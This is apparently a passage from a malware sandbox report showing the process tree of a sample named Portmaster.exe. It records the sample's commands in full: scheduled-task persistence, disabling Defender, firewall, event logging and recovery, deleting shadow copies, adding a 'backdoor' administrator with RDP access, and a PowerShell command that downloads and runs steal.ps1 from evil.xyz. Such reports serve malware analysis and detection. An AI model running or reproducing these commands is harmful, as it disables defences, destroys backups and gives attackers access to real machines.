      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:3312
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3892
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4340
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:4276
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:5096
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:6600
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1144
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:9100
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8300
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:8576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:8784
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:3876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:3588
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:2088
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:8432
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:8304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:6524
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:9088
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:8756
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:8632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:7256
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:8312
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:6356
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:5512
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:8340
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:8944
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators backdoor /add
      4⤵
      PID:3888
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators backdoor /add
        5⤵
        
        PID:6888
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:6724
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:8764
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
        5⤵
        Remote Service Session Hijacking: RDP Hijacking
        
        PID:7480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    PID:8556
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      4⤵
      PID:9080
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    PID:4476
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
      4⤵
      Modifies Windows Firewall
      PID:7684
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:7832
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:7628
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6968
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:7568
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:5192
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:6372
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:2196
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      PID:7172
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8696
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
      4⤵
      PID:11744
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        
        PID:11132
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
      4⤵
      PID:9932
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:8104
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:2812
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7816
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:7232
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:568
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:7104
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:7772
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:2632
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      PID:7560
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7444
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
      4⤵
      PID:6532
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        
        PID:7280
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
      4⤵
      PID:6436
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
      4⤵
      PID:6708
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:10452
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reagentc /disable
      4⤵
      PID:11528
    - - C:\Windows\SysWOW64\ReAgentc.exe
        
        reagentc /disable
        5⤵
        
        PID:11360
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
      4⤵
      PID:11300
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config wuauserv start= disabled
        5⤵
        
        PID:12576
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
      4⤵
      PID:12560
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config WinDefend start= disabled
        5⤵
        Launches sc.exe
        
        PID:6352
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:7800
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:6668
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8508
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:7988
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:7368
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:4044
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:6616
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      PID:8920
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:2288
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
      4⤵
      PID:7768
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        
        PID:3048
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
      4⤵
      PID:8208
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
      4⤵
      PID:10828
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:12004
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reagentc /disable
      4⤵
      PID:7656
    - - C:\Windows\SysWOW64\ReAgentc.exe
        
        reagentc /disable
        5⤵
        
        PID:5300
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
      4⤵
      PID:9740
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config wuauserv start= disabled
        5⤵
        Launches sc.exe
        
        PID:13932
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:7756
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:3484
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1796
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:7700
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:8156
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:6968
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:8696
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      PID:8152
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7196
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
      4⤵
      PID:8168
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        
        PID:9528
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
      4⤵
      PID:8532
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
      4⤵
      PID:3508
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:8364
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:9044
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5452
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:6576
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:7728
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:8436
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:4260
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      PID:8876
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:5092
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
      4⤵
      PID:11412
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        
        PID:11352
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
      4⤵
      PID:13452
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:8688
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:8960
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6948
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:7816
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:8068
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:7588
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:8168
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      PID:6760
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7664
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
      4⤵
      PID:7312
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        
        PID:7836
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
      4⤵
      PID:8164
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
      4⤵
      PID:5932
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:10140
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reagentc /disable
      4⤵
      PID:11508
    - - C:\Windows\SysWOW64\ReAgentc.exe
        
        reagentc /disable
        5⤵
        
        PID:12488
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:7516
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:7272
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8532
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:9168
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:6612
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:6528
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:9196
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      PID:700
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4968
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9404
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
      4⤵
      PID:9936
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        
        PID:4000
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
      4⤵
      PID:10704
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
      4⤵
      PID:2632
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:5744
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:7400
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:7672
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6616
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:6556
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:2460
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:7488
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:4808
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      PID:4484
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7076
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
      4⤵
      PID:6872
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        
        PID:6620
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
      4⤵
      PID:7992
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
    3⤵
    PID:7592
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6940
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c start https://evil.xyz
    3⤵
    PID:7244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
      4⤵
      PID:6312
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c start https://evil.xyz
    3⤵
    PID:5172
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
      4⤵
      PID:9412
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c start https://evil.xyz
    3⤵
    PID:10136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
      4⤵
      PID:7372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c start https://evil.xyz
    3⤵
    PID:4372
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  PID:5984
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
